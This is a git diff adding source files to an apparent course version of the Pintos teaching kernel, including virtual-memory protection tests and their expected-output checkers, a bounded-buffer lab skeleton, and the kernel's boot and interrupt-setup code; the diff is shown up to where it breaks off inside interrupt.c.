--- /dev/null
+++ b/src/tests/vm/pt-grow-stk-sc.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(pt-grow-stk-sc) begin
+(pt-grow-stk-sc) create "sample.txt"
+(pt-grow-stk-sc) open "sample.txt"
+(pt-grow-stk-sc) write "sample.txt"
+(pt-grow-stk-sc) 2nd open "sample.txt"
+(pt-grow-stk-sc) read "sample.txt"
+(pt-grow-stk-sc) compare written data against read data
+(pt-grow-stk-sc) end
+EOF
+pass;
diff --git a/src/tests/vm/pt-write-code-2.c b/src/tests/vm/pt-write-code-2.c
new file mode 100644
index 0000000..83bcc2c
--- /dev/null
+++ b/src/tests/vm/pt-write-code-2.c
@@ -0,0 +1,15 @@
+/* Try to write to the code segment using a system call.
+ The process must be terminated with -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ read (handle, (void *) test_main, 1);
+ fail ("survived reading data into code segment");
+}
diff --git a/src/tests/vm/pt-write-code.c b/src/tests/vm/pt-write-code.c
new file mode 100644
index 0000000..5072cec
--- /dev/null
+++ b/src/tests/vm/pt-write-code.c
@@ -0,0 +1,12 @@
+/* Try to write to the code segment.
+ The process must be terminated with -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ *(int *) test_main = 0;
+ fail ("writing the code segment succeeded");
+}
diff --git a/src/tests/vm/pt-write-code.ck b/src/tests/vm/pt-write-code.ck
new file mode 100644
index 0000000..65610fb
--- /dev/null
+++ b/src/tests/vm/pt-write-code.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::vm::process_death;
+
+check_process_death ('pt-write-code');
diff --git a/src/tests/vm/pt-write-code2.ck b/src/tests/vm/pt-write-code2.ck
new file mode 100644
index 0000000..69ffc77
--- /dev/null
+++ b/src/tests/vm/pt-write-code2.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(pt-write-code2) begin
+(pt-write-code2) open "sample.txt"
+pt-write-code2: exit(-1)
+EOF
+pass;
diff --git a/src/tests/vm/qsort.c b/src/tests/vm/qsort.c
new file mode 100644
index 0000000..922572c
--- /dev/null
+++ b/src/tests/vm/qsort.c
@@ -0,0 +1,136 @@
+#include "tests/vm/qsort.h"
+#include <stdbool.h>
+#include <debug.h>
+#include <random.h>
+
+/* Picks a pivot for the quicksort from the SIZE bytes in BUF. */
+static unsigned char
+pick_pivot (unsigned char *buf, size_t size)
+{
+ ASSERT (size >= 1);
+ return buf[random_ulong () % size];
+}
+
+/* Checks whether the SIZE bytes in ARRAY are divided into an
+ initial LEFT_SIZE elements all less than PIVOT followed by
+ SIZE - LEFT_SIZE elements all greater than or equal to
+ PIVOT. */
+static bool
+is_partitioned (const unsigned char *array, size_t size,
+ unsigned char pivot, size_t left_size)
+{
+ size_t i;
+
+ for (i = 0; i < left_size; i++)
+ if (array[i] >= pivot)
+ return false;
+
+ for (; i < size; i++)
+ if (array[i] < pivot)
+ return false;
+
+ return true;
+}
+
+/* Swaps the bytes at *A and *B. */
+static void
+swap (unsigned char *a, unsigned char *b)
+{
+ unsigned char t = *a;
+ *a = *b;
+ *b = t;
+}
+
+/* Partitions ARRAY in-place in an initial run of bytes all less
+ than PIVOT, followed by a run of bytes all greater than or
+ equal to PIVOT. Returns the length of the initial run. */
+static size_t
+partition (unsigned char *array, size_t size, int pivot)
+{
+ size_t left_size = size;
+ unsigned char *first = array;
+ unsigned char *last = first + left_size;
+
+ for (;;)
+ {
+ /* Move FIRST forward to point to first element greater than
+ PIVOT. */
+ for (;;)
+ {
+ if (first == last)
+ {
+ ASSERT (is_partitioned (array, size, pivot, left_size));
+ return left_size;
+ }
+ else if (*first >= pivot)
+ break;
+
+ first++;
+ }
+ left_size--;
+
+ /* Move LAST backward to point to last element no bigger
+ than PIVOT. */
+ for (;;)
+ {
+ last--;
+
+ if (first == last)
+ {
+ ASSERT (is_partitioned (array, size, pivot, left_size));
+ return left_size;
+ }
+ else if (*last < pivot)
+ break;
+ else
+ left_size--;
+ }
+
+ /* By swapping FIRST and LAST we extend the starting and
+ ending sequences that pass and fail, respectively,
+ PREDICATE. */
+ swap (first, last);
+ first++;
+ }
+}
+
+/* Returns true if the SIZE bytes in BUF are in nondecreasing
+ order, false otherwise. */
+static bool
+is_sorted (const unsigned char *buf, size_t size)
+{
+ size_t i;
+
+ for (i = 1; i < size; i++)
+ if (buf[i - 1] > buf[i])
+ return false;
+
+ return true;
+}
+
+/* Sorts the SIZE bytes in BUF into nondecreasing order, using
+ the quick-sort algorithm. */
+void
+qsort_bytes (unsigned char *buf, size_t size)
+{
+ if (!is_sorted (buf, size))
+ {
+ int pivot = pick_pivot (buf, size);
+
+ unsigned char *left_half = buf;
+ size_t left_size = partition (buf, size, pivot);
+ unsigned char *right_half = left_half + left_size;
+ size_t right_size = size - left_size;
+
+ if (left_size <= right_size)
+ {
+ qsort_bytes (left_half, left_size);
+ qsort_bytes (right_half, right_size);
+ }
+ else
+ {
+ qsort_bytes (right_half, right_size);
+ qsort_bytes (left_half, left_size);
+ }
+ }
+}
diff --git a/src/tests/vm/qsort.h b/src/tests/vm/qsort.h
new file mode 100644
index 0000000..61b65f3
--- /dev/null
+++ b/src/tests/vm/qsort.h
@@ -0,0 +1,8 @@
+#ifndef TESTS_VM_QSORT_H
+#define TESTS_VM_QSORT_H 1
+
+#include <stddef.h>
+
+void qsort_bytes (unsigned char *buf, size_t size);
+
+#endif /* tests/vm/qsort.h */
diff --git a/src/tests/vm/sample.inc b/src/tests/vm/sample.inc
new file mode 100644
index 0000000..a60a139
--- /dev/null
+++ b/src/tests/vm/sample.inc
@@ -0,0 +1,19 @@
+char sample[] = {
+ "=== ALL USERS PLEASE NOTE ========================\n"
+ "\n"
+ "CAR and CDR now return extra values.\n"
+ "\n"
+ "The function CAR now returns two values. Since it has to go to the\n"
+ "trouble to figure out if the object is carcdr-able anyway, we figured\n"
+ "you might as well get both halves at once. For example, the following\n"
+ "code shows how to destructure a cons (SOME-CONS) into its two slots\n"
+ "(THE-CAR and THE-CDR):\n"
+ "\n"
+ " (MULTIPLE-VALUE-BIND (THE-CAR THE-CDR) (CAR SOME-CONS) ...)\n"
+ "\n"
+ "For symmetry with CAR, CDR returns a second value which is the CAR of\n"
+ "the object. In a related change, the functions MAKE-ARRAY and CONS\n"
+ "have been fixed so they don't allocate any storage except on the\n"
+ "stack. This should hopefully help people who don't like using the\n"
+ "garbage collector because it cold boots the machine so often.\n"
+};
diff --git a/src/tests/vm/sample.txt b/src/tests/vm/sample.txt
new file mode 100644
index 0000000..c446830
--- /dev/null
+++ b/src/tests/vm/sample.txt
@@ -0,0 +1,17 @@
+=== ALL USERS PLEASE NOTE ========================
+
+CAR and CDR now return extra values.
+
+The function CAR now returns two values. Since it has to go to the
+trouble to figure out if the object is carcdr-able anyway, we figured
+you might as well get both halves at once. For example, the following
+code shows how to destructure a cons (SOME-CONS) into its two slots
+(THE-CAR and THE-CDR):
+
+ (MULTIPLE-VALUE-BIND (THE-CAR THE-CDR) (CAR SOME-CONS) ...)
+
+For symmetry with CAR, CDR returns a second value which is the CAR of
+the object. In a related change, the functions MAKE-ARRAY and CONS
+have been fixed so they don't allocate any storage except on the
+stack. This should hopefully help people who don't like using the
+garbage collector because it cold boots the machine so often.
diff --git a/src/threads/.cvsignore b/src/threads/.cvsignore
new file mode 100644
index 0000000..6d5357c
--- /dev/null
+++ b/src/threads/.cvsignore
@@ -0,0 +1,3 @@
+build
+bochsrc.txt
+bochsout.txt
diff --git a/src/threads/Make.vars b/src/threads/Make.vars
new file mode 100644
index 0000000..dc45c2a
--- /dev/null
+++ b/src/threads/Make.vars
@@ -0,0 +1,7 @@
+# -*- makefile -*-
+
+os.dsk: DEFINES =
+KERNEL_SUBDIRS = threads devices lib lib/kernel $(TEST_SUBDIRS)
+TEST_SUBDIRS = tests/threads
+GRADING_FILE = $(SRCDIR)/tests/threads/Grading
+SIMULATOR = --bochs
diff --git a/src/threads/Makefile b/src/threads/Makefile
new file mode 100644
index 0000000..34c10aa
--- /dev/null
+++ b/src/threads/Makefile
@@ -0,0 +1 @@
+include ../Makefile.kernel
diff --git a/src/threads/bochsrc.txt b/src/threads/bochsrc.txt
new file mode 100644
index 0000000..2ac8738
--- /dev/null
+++ b/src/threads/bochsrc.txt
@@ -0,0 +1,10 @@
+romimage: file=$BXSHARE/BIOS-bochs-latest, address=0xf0000
+vgaromimage: file=$BXSHARE/VGABIOS-lgpl-latest
+boot: disk
+cpu: ips=1000000
+megs: 4
+log: bochsout.txt
+panic: action=fatal
+clock: sync=none, time0=0
+ata0-master: type=disk, path=/tmp/c9HlBlQTJq.dsk, mode=flat, cylinders=1, heads=16, spt=63, translation=none
+com1: enabled=1, mode=term, dev=/dev/stdout
diff --git a/src/threads/boundedbuffer.c b/src/threads/boundedbuffer.c
new file mode 100644
index 0000000..2b22335
--- /dev/null
+++ b/src/threads/boundedbuffer.c
@@ -0,0 +1,36 @@
+// boundedbuffer.cc
+// This is a skeleton for the implementation of bounded buffer to test
+// synchronization primitives (condition and lock).
+//
+// Your implementation of bounded buffer should be thread safe. For an
+// example of implementation refer to synchlist implementation.
+//
+// Created by Andrzej Bednarski
+//
+// Modified by Vlad Jahundovics (translation from C++ to C)
+
+#include "threads/boundedbuffer.h"
+#include "threads/malloc.h"
+
+void bb_init(struct bounded_buffer *bb, int _size)
+{
+ bb->size = _size;
+ // write your code here
+}
+
+void bb_destroy(struct bounded_buffer *bb UNUSED)
+{
+ // write your code here
+}
+
+int bb_read(struct bounded_buffer *bb UNUSED)
+{
+ // write your code here
+ return 0;
+}
+
+void bb_write(struct bounded_buffer *bb UNUSED, int value UNUSED)
+{
+ // write your code here
+}
+
diff --git a/src/threads/boundedbuffer.h b/src/threads/boundedbuffer.h
new file mode 100644
index 0000000..7508d1c
--- /dev/null
+++ b/src/threads/boundedbuffer.h
@@ -0,0 +1,24 @@
+//
+// Skeleton of bounded buffer for laboratory assignment 1 for Pintos
+//
+// Created by Andrzej Bednarski
+//
+// modified by Vlad Jahundovics for Pintos (translation from C++ to C)
+
+#ifndef BOUNDEDBUFFER_H
+#define BOUNDEDBUFFER_H
+
+#include "threads/synch.h"
+
+struct bounded_buffer {
+ int size;
+ // You may add other data fields required for the bounded buffer
+
+};
+
+void bb_init(struct bounded_buffer *, int);
+int bb_read(struct bounded_buffer *);
+void bb_write(struct bounded_buffer *, int);
+void bb_destroy(struct bounded_buffer *);
+
+#endif
diff --git a/src/threads/copyright.h b/src/threads/copyright.h
new file mode 100644
index 0000000..a9a606b
--- /dev/null
+++ b/src/threads/copyright.h
@@ -0,0 +1,24 @@
+/*
+Copyright (c) 1992-1993 The Regents of the University of California.
+All rights reserved.
+
+Permission to use, copy, modify, and distribute this software and its
+documentation for any purpose, without fee, and without written agreement is
+hereby granted, provided that the above copyright notice and the following
+two paragraphs appear in all copies of this software.
+
+IN NO EVENT SHALL THE UNIVERSITY OF CALIFORNIA BE LIABLE TO ANY PARTY FOR
+DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT
+OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF THE UNIVERSITY OF
+CALIFORNIA HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+THE UNIVERSITY OF CALIFORNIA SPECIFICALLY DISCLAIMS ANY WARRANTIES,
+INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS
+ON AN "AS IS" BASIS, AND THE UNIVERSITY OF CALIFORNIA HAS NO OBLIGATION TO
+PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+*/
+
+#ifdef MAIN /* include the copyright message in every executable */
+static char *copyright = "Copyright (c) 1992-1993 The Regents of the University of California. All rights reserved.";
+#endif // MAIN
diff --git a/src/threads/flags.h b/src/threads/flags.h
new file mode 100644
index 0000000..5654ac7
--- /dev/null
+++ b/src/threads/flags.h
@@ -0,0 +1,8 @@
+#ifndef THREADS_FLAGS_H
+#define THREADS_FLAGS_H
+
+/* EFLAGS Register. */
+#define FLAG_MBS 0x00000002 /* Must be set. */
+#define FLAG_IF 0x00000200 /* Interrupt Flag. */
+
+#endif /* threads/flags.h */
diff --git a/src/threads/init.c b/src/threads/init.c
new file mode 100644
index 0000000..43f491f
--- /dev/null
+++ b/src/threads/init.c
@@ -0,0 +1,429 @@
+#include "threads/init.h"
+#include <console.h>
+#include <debug.h>
+#include <limits.h>
+#include <random.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "devices/kbd.h"
+#include "devices/input.h"
+#include "devices/serial.h"
+#include "devices/timer.h"
+#include "devices/vga.h"
+#include "threads/interrupt.h"
+#include "threads/io.h"
+#include "threads/loader.h"
+#include "threads/malloc.h"
+#include "threads/palloc.h"
+#include "threads/pte.h"
+#include "threads/thread.h"
+#ifdef USERPROG
+#include "userprog/process.h"
+#include "userprog/exception.h"
+#include "userprog/gdt.h"
+#include "userprog/syscall.h"
+#include "userprog/tss.h"
+#else
+#include "tests/threads/tests.h"
+#endif
+#ifdef FILESYS
+#include "devices/disk.h"
+#include "filesys/filesys.h"
+#include "filesys/fsutil.h"
+#endif
+
+/* Amount of physical memory, in 4 kB pages. */
+size_t ram_pages;
+
+/* Page directory with kernel mappings only. */
+uint32_t *base_page_dir;
+
+#ifdef FILESYS
+/* -f: Format the file system? */
+static bool format_filesys;
+#endif
+
+/* -q: Power off after kernel tasks complete? */
+bool power_off_when_done = false;
+/* -Q: Force power off by klaar@ida... */
+bool force_off_when_done = false;
+/* -tcf: Simulate failure in thread_create klaar@ida... */
+int thread_create_limit = 0; /* infinite */
+
+static void ram_init (void);
+static void paging_init (void);
+
+static char **read_command_line (void);
+static char **parse_options (char **argv);
+static void run_actions (char **argv);
+static void usage (void);
+
+static void print_stats (void);
+
+
+int main (void) NO_RETURN;
+
+/* Pintos main program. */
+int
+main (void)
+{
+ char **argv;
+
+ /* Clear BSS and get machine's RAM size. */
+ ram_init ();
+
+ /* Break command line into arguments and parse options. */
+ argv = read_command_line ();
+ argv = parse_options (argv);
+
+ /* Initialize ourselves as a thread so we can use locks,
+ then enable console locking. */
+ thread_init ();
+ process_init ();
+ console_init ();
+
+ /* Greet user. */
+ printf ("Pintos booting with %'zu kB RAM...\n", ram_pages * PGSIZE / 1024);
+
+ /* Initialize memory system. */
+ palloc_init ();
+ malloc_init ();
+ paging_init ();
+
+ /* Segmentation. */
+#ifdef USERPROG
+ tss_init ();
+ gdt_init ();
+#endif
+
+ /* Initialize interrupt handlers. */
+ intr_init ();
+ timer_init ();
+ kbd_init ();
+ input_init ();
+#ifdef USERPROG
+ exception_init ();
+ syscall_init ();
+#endif
+
+ /* Start thread scheduler and enable interrupts. */
+ thread_start ();
+ serial_init_queue ();
+ timer_calibrate ();
+
+#ifdef FILESYS
+ /* Initialize file system. */
+ disk_init ();
+ filesys_init (format_filesys);
+#endif
+
+ printf ("Boot complete.\n");
+
+ /* Run actions specified on kernel command line. */
+ run_actions (argv);
+
+ /* Finish up. */
+ if (power_off_when_done)
+ power_off ();
+
+ thread_exit ();
+}
+
+/* Clear BSS and obtain RAM size from loader. */
+static void
+ram_init (void)
+{
+ /* The "BSS" is a segment that should be initialized to zeros.
+ It isn't actually stored on disk or zeroed by the kernel
+ loader, so we have to zero it ourselves.
+
+ The start and end of the BSS segment is recorded by the
+ linker as _start_bss and _end_bss. See kernel.lds. */
+ extern char _start_bss, _end_bss;
+ memset (&_start_bss, 0, &_end_bss - &_start_bss);
+
+ /* Get RAM size from loader. See loader.S. */
+ ram_pages = *(uint32_t *) ptov (LOADER_RAM_PGS);
+}
+
+/* Populates the base page directory and page table with the
+ kernel virtual mapping, and then sets up the CPU to use the
+ new page directory. Points base_page_dir to the page
+ directory it creates.
+
+ At the time this function is called, the active page table
+ (set up by loader.S) only maps the first 4 MB of RAM, so we
+ should not try to use extravagant amounts of memory.
+ Fortunately, there is no need to do so. */
+static void
+paging_init (void)
+{
+ uint32_t *pd, *pt;
+ size_t page;
+ extern char _start, _end_kernel_text;
+
+ pd = base_page_dir = palloc_get_page (PAL_ASSERT | PAL_ZERO);
+ pt = NULL;
+ for (page = 0; page < ram_pages; page++)
+ {
+ uintptr_t paddr = page * PGSIZE;
+ char *vaddr = ptov (paddr);
+ size_t pde_idx = pd_no (vaddr);
+ size_t pte_idx = pt_no (vaddr);
+ bool in_kernel_text = &_start <= vaddr && vaddr < &_end_kernel_text;
+
+ if (pd[pde_idx] == 0)
+ {
+ pt = palloc_get_page (PAL_ASSERT | PAL_ZERO);
+ pd[pde_idx] = pde_create (pt);
+ }
+
+ pt[pte_idx] = pte_create_kernel (vaddr, !in_kernel_text);
+ }
+
+ /* Store the physical address of the page directory into CR3
+ aka PDBR (page directory base register). This activates our
+ new page tables immediately. See [IA32-v2a] "MOV--Move
+ to/from Control Registers" and [IA32-v3a] 3.7.5 "Base Address
+ of the Page Directory". */
+ asm volatile ("movl %0, %%cr3" : : "r" (vtop (base_page_dir)));
+}
+
+/* Breaks the kernel command line into words and returns them as
+ an argv-like array. */
+static char **
+read_command_line (void)
+{
+ static char *argv[LOADER_ARGS_LEN / 2 + 1];
+ char *p, *end;
+ int argc;
+ int i;
+
+ argc = *(uint32_t *) ptov (LOADER_ARG_CNT);
+ p = ptov (LOADER_ARGS);
+ end = p + LOADER_ARGS_LEN;
+ for (i = 0; i < argc; i++)
+ {
+ if (p >= end)
+ PANIC ("command line arguments overflow");
+
+ argv[i] = p;
+ p += strnlen (p, end - p) + 1;
+ }
+ argv[argc] = NULL;
+
+ /* Print kernel command line. */
+ printf ("Kernel command line:");
+ for (i = 0; i < argc; i++)
+ if (strchr (argv[i], ' ') == NULL)
+ printf (" %s", argv[i]);
+ else
+ printf (" '%s'", argv[i]);
+ printf ("\n");
+
+ return argv;
+}
+
+/* Parses options in ARGV[]
+ and returns the first non-option argument. */
+static char **
+parse_options (char **argv)
+{
+ for (; *argv != NULL && **argv == '-'; argv++)
+ {
+ char *save_ptr;
+ char *name = strtok_r (*argv, "=", &save_ptr);
+ char *value = strtok_r (NULL, "", &save_ptr);
+
+ if (!strcmp (name, "-h"))
+ usage (), power_off_when_done = force_off_when_done = true;
+ else if (!strcmp (name, "-q"))
+ power_off_when_done = true;
+ else if (!strcmp (name, "-Q")) // klaar@ida
+ power_off_when_done = force_off_when_done = true;
+#ifdef FILESYS
+ else if (!strcmp (name, "-f"))
+ format_filesys = true;
+#endif
+ else if (!strcmp (name, "-rs"))
+ random_init (atoi (value));
+ else if (!strcmp (name, "-mlfqs"))
+ thread_mlfqs = true;
+#ifdef USERPROG
+ else if (!strcmp (name, "-ul"))
+ user_page_limit = atoi (value);
+ else if (!strcmp (name, "-fl")) // klaar@ida
+ free_page_limit = atoi (value);
+ else if (!strcmp (name, "-tcl")) // klaar@ida
+ thread_create_limit = atoi (value);
+#endif
+ else
+ PANIC ("unknown option `%s' (use -h for help)", name);
+ }
+
+ return argv;
+}
+
+/* Runs the task specified in ARGV[1]. */
+static void
+run_task (char **argv)
+{
+ const char *task = argv[1];
+
+ printf ("Executing '%s':\n", task);
+#ifdef USERPROG
+ process_wait (process_execute (task));
+#else
+ run_test (task);
+#endif
+ printf ("Execution of '%s' complete.\n", task);
+}
+
+/* Executes all of the actions specified in ARGV[]
+ up to the null pointer sentinel. */
+static void
+run_actions (char **argv)
+{
+ /* An action. */
+ struct action
+ {
+ char *name; /* Action name. */
+ int argc; /* # of args, including action name. */
+ void (*function) (char **argv); /* Function to execute action. */
+ };
+
+ /* Table of supported actions. */
+ static const struct action actions[] =
+ {
+ {"run", 2, run_task},
+#ifdef FILESYS
+ {"ls", 1, fsutil_ls},
+ {"cat", 2, fsutil_cat},
+ {"rm", 2, fsutil_rm},
+ {"put", 2, fsutil_put},
+ {"get", 2, fsutil_get},
+#endif
+ {NULL, 0, NULL},
+ };
+
+ while (*argv != NULL)
+ {
+ const struct action *a;
+ int i;
+
+ /* Find action name. */
+ for (a = actions; ; a++)
+ if (a->name == NULL)
+ PANIC ("unknown action `%s' (use -h for help)", *argv);
+ else if (!strcmp (*argv, a->name))
+ break;
+
+ /* Check for required arguments. */
+ for (i = 1; i < a->argc; i++)
+ if (argv[i] == NULL)
+ PANIC ("action `%s' requires %d argument(s)", *argv, a->argc - 1);
+
+ /* Invoke action and advance. */
+ a->function (argv);
+ argv += a->argc;
+ }
+
+}
+
+/* Prints a kernel command line help message and powers off the
+ machine. */
+static void
+usage (void)
+{
+ printf ("\nCommand line syntax: [OPTION...] [ACTION...]\n"
+ "Options must precede actions.\n"
+ "Actions are executed in the order specified.\n"
+ "\nAvailable actions:\n"
+#ifdef USERPROG
+ " run 'PROG [ARG...]' Run PROG and wait for it to complete.\n"
+#else
+ " run TEST Run TEST.\n"
+#endif
+#ifdef FILESYS
+ " ls List files in the root directory.\n"
+ " cat FILE Print FILE to the console.\n"
+ " rm FILE Delete FILE.\n"
+ "Use these actions indirectly via `pintos' -g and -p options:\n"
+ " put FILE Put FILE into file system from scratch disk.\n"
+ " get FILE Get FILE from file system into scratch disk.\n"
+#endif
+ "\nOptions:\n"
+ " -h Print this help message and power off.\n"
+ " -Q Power off VM after actions or on panic.\n"
+ " -q Force off VM after actions or on panic.\n"
+ " -f Format file system disk during startup.\n"
+ " -rs=SEED Set random number seed to SEED.\n"
+ " -mlfqs Use multi-level feedback queue scheduler.\n"
+#ifdef USERPROG
+ " -ul=COUNT Limit user memory to COUNT pages.\n"
+ " -fl=COUNT Limit free memory to COUNT pages.\n"
+ " -tcl=N Fail at call N to thread_create.\n"
+#endif
+ );
+
+ /* klaar@ida disabled due to threads and locks not initialized
+ * yet... and power_off() now use locks.
+ */
+// power_off ();
+}
+
+
+/* Powers down the machine we're running on,
+ as long as we're running on Bochs or QEMU. */
+void
+power_off (void)
+{
+ const char s[] = "Shutdown";
+ const char *p;
+
+ printf ("# Preparing to power off...\n");
+ DEBUG_thread_poweroff_check( force_off_when_done );
+
+#ifdef FILESYS
+ filesys_done ();
+#endif
+
+ print_stats ();
+
+ printf ("Powering off...\n");
+ serial_flush ();
+
+ /* klaar,filst 2014-01
+ ACPI shutdown should use:
+ outw(PM1a_CNT, SLP_TYPa | SLP_EN );
+ Gathering of the corect values for the parameters is not easy.
+ This works for QEMU and Bochs. It's not portable.
+ */
+ outw(0xB004, 0x2000);
+
+ /* This is APM Shutdown */
+ for (p = s; *p != '\0'; p++)
+ outb (0x8900, *p);
+ asm volatile ("cli; hlt" : : : "memory");
+ printf ("still running...\n");
+ for (;;);
+}
+
+/* Print statistics about Pintos execution. */
+static void
+print_stats (void)
+{
+ timer_print_stats ();
+ thread_print_stats ();
+#ifdef FILESYS
+ disk_print_stats ();
+#endif
+ console_print_stats ();
+ kbd_print_stats ();
+#ifdef USERPROG
+ exception_print_stats ();
+#endif
+}
diff --git a/src/threads/init.h b/src/threads/init.h
new file mode 100644
index 0000000..afbe37f
--- /dev/null
+++ b/src/threads/init.h
@@ -0,0 +1,22 @@
+#ifndef THREADS_INIT_H
+#define THREADS_INIT_H
+
+#include <debug.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/* Physical memory size, in 4 kB pages. */
+extern size_t ram_pages;
+
+/* Page directory with kernel mappings only. */
+extern uint32_t *base_page_dir;
+
+/* -q: Power off when kernel tasks complete? */
+extern bool power_off_when_done;
+/* -tcf: Simulate failure in thread_create */
+extern int thread_create_limit;
+
+void power_off (void) NO_RETURN;
+
+#endif /* threads/init.h */
diff --git a/src/threads/interrupt.c b/src/threads/interrupt.c
new file mode 100644
index 0000000..075962f
--- /dev/null
+++ b/src/threads/interrupt.c
@@ -0,0 +1,419 @@
+#include "threads/interrupt.h"
+#include <debug.h>
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include "threads/flags.h"
+#include "threads/intr-stubs.h"
+#include "threads/io.h"
+#include "threads/thread.h"
+#include "threads/vaddr.h"
+#include "devices/timer.h"
+
+/* Number of x86 interrupts. */
+#define INTR_CNT 256
+
+/* The Interrupt Descriptor Table (IDT). The format is fixed by
+ the CPU. See [IA32-v3a] sections 5.10 "Interrupt Descriptor
+ Table (IDT)", 5.11 "IDT Descriptors", 5.12.1.2 "Flag Usage By
+ Exception- or Interrupt-Handler Procedure". */
+static uint64_t idt[INTR_CNT];
+
+/* Interrupt handler functions for each interrupt. */
+static intr_handler_func *intr_handlers[INTR_CNT];
+
+/* Names for each interrupt, for debugging purposes. */
+static const char *intr_names[INTR_CNT];
+
+/* External interrupts are those generated by devices outside the
+ CPU, such as the timer. External interrupts run with
+ interrupts turned off, so they never nest, nor are they ever
+ pre-empted. Handlers for external interrupts also may not
+ sleep, although they may invoke intr_yield_on_return() to
+ request that a new process be scheduled just before the
+ interrupt returns. */
+static bool in_external_intr; /* Are we processing an external interrupt? */
+static bool yield_on_return; /* Should we yield on interrupt return? */
+
+/* Programmable Interrupt Controller helpers. */
+static void pic_init (void);
+static void pic_end_of_interrupt (int irq);
+
+/* Interrupt Descriptor Table helpers. */
+static uint64_t make_intr_gate (void (*) (void), int dpl);
+static uint64_t make_trap_gate (void (*) (void), int dpl);
+static inline uint64_t make_idtr_operand (uint16_t limit, void *base);
+
+/* Interrupt handlers. */
+void intr_handler (struct intr_frame *args);
+
+/* Returns the current interrupt status. */
+enum intr_level
+intr_get_level (void)
+{
+ uint32_t flags;
+
+ /* Push the flags register on the processor stack, then pop the
+ value off the stack into `flags'. See [IA32-v2b] "PUSHF"
+ and "POP" and [IA32-v3a] 5.8.1 "Masking Maskable Hardware
+ Interrupts". */
+ asm volatile ("pushfl; popl %0" : "=g" (flags));
+
+ return flags & FLAG_IF ? INTR_ON : INTR_OFF;
+}
+
+/* Enables or disables interrupts as specified by LEVEL and
+ returns the previous interrupt status. */
+enum intr_level
+intr_set_level (enum intr_level level)
+{
+ return level == INTR_ON ? intr_enable () : intr_disable ();
+}
+
+/* Enables interrupts and returns the previous interrupt status. */
+enum intr_level
+intr_enable (void)
+{
+ enum intr_level old_level = intr_get_level ();
+ ASSERT (!intr_context ());
+
+ /* Enable interrupts by setting the interrupt flag.
+
+ See [IA32-v2b] "STI" and [IA32-v3a] 5.8.1 "Masking Maskable
+ Hardware Interrupts". */
+ asm volatile ("sti");
+
+ return old_level;
+}
+
+/* Disables interrupts and returns the previous interrupt status. */
+enum intr_level
+intr_disable (void)
+{
+ enum intr_level old_level = intr_get_level ();
+
+ /* Disable interrupts by clearing the interrupt flag.
+ See [IA32-v2b] "CLI" and [IA32-v3a] 5.8.1 "Masking Maskable
+ Hardware Interrupts". */
+ asm volatile ("cli" : : : "memory");
+
+ return old_level;
+}
+
+/* Initializes the interrupt system. */
+void
+intr_init (void)
+{
+ uint64_t idtr_operand;
+ int i;
+
+ /* Initialize interrupt controller. */
+ pic_init ();
+
+ /* Initialize IDT. */
+ for (i = 0; i < INTR_CNT; i++)
+ idt[i] = make_intr_gate (intr_stubs[i], 0);
+
+ /* Load IDT register.
+ See [IA32-v2a] "LIDT" and [IA32-v3a] 5.10 "Interrupt
+ Descriptor Table (IDT)". */
+ idtr_operand = make_idtr_operand (sizeof idt - 1, idt);
+ asm volatile ("lidt %0" : : "m" (idtr_operand));
+
+ /* Initialize intr_names. */
+ for (i = 0; i < INTR_CNT; i++)
+ intr_names[i] = "unknown";
+ intr_names[0] = "#DE Divide Error";
+ intr_names[1] = "#DB Debug Exception";
+ intr_names[2] = "NMI Interrupt";
+ intr_names[3] = "#BP Breakpoint Exception";
+ intr_names[4] = "#OF Overflow Exception";
+ intr_names[5] = "#BR BOUND Range Exceeded Exception";
+ intr_names[6] = "#UD Invalid Opcode Exception";
+ intr_names[7] = "#NM Device Not Available Exception";
+ intr_names[8] = "#DF Double Fault Exception";
+ intr_names[9] = "Coprocessor Segment Overrun";
+ intr_names[10] = "#TS Invalid TSS Exception";
+ intr_names[11] = "#NP Segment Not Present";
+ intr_names[12] = "#SS Stack Fault Exception";
+ intr_names[13] = "#GP General Protection Exception";
+ intr_names[14] = "#PF Page-Fault Exception";
+ intr_names[16] = "#MF x87 FPU Floating-Point Error";
+ intr_names[17] = "#AC Alignment Check Exception";
+ intr_names[18] = "#MC Machine-Check Exception";
+ intr_names[19] = "#XF SIMD Floating-Point Exception";
+}
+
+/* Registers interrupt VEC_NO to invoke HANDLER with descriptor
+ privilege level DPL. Names the interrupt NAME for debugging
+ purposes. The interrupt handler will be invoked with
+ interrupt status set to LEVEL. */
+static void
+register_handler (uint8_t vec_no, int dpl, enum intr_level level,
+ intr_handler_func *handler, const char *name)
+{
+ ASSERT (intr_handlers[vec_no] == NULL);
+ if (level == INTR_ON)
+ idt[vec_no] = make_trap_gate (intr_stubs[vec_no], dpl);
+ else
+ idt[vec_no] = make_intr_gate (intr_stubs[vec_no], dpl);
+ intr_handlers[vec_no] = handler;
+ intr_names[vec_no] = name;
+}
+
+/* Registers external interrupt VEC_NO to invoke HANDLER, which
+ is named NAME for debugging purposes. The handler will
+ execute with interrupts disabled. */
+void
+intr_register_ext (uint8_t vec_no, intr_handler_func *handler,
+ const char *name)
+{
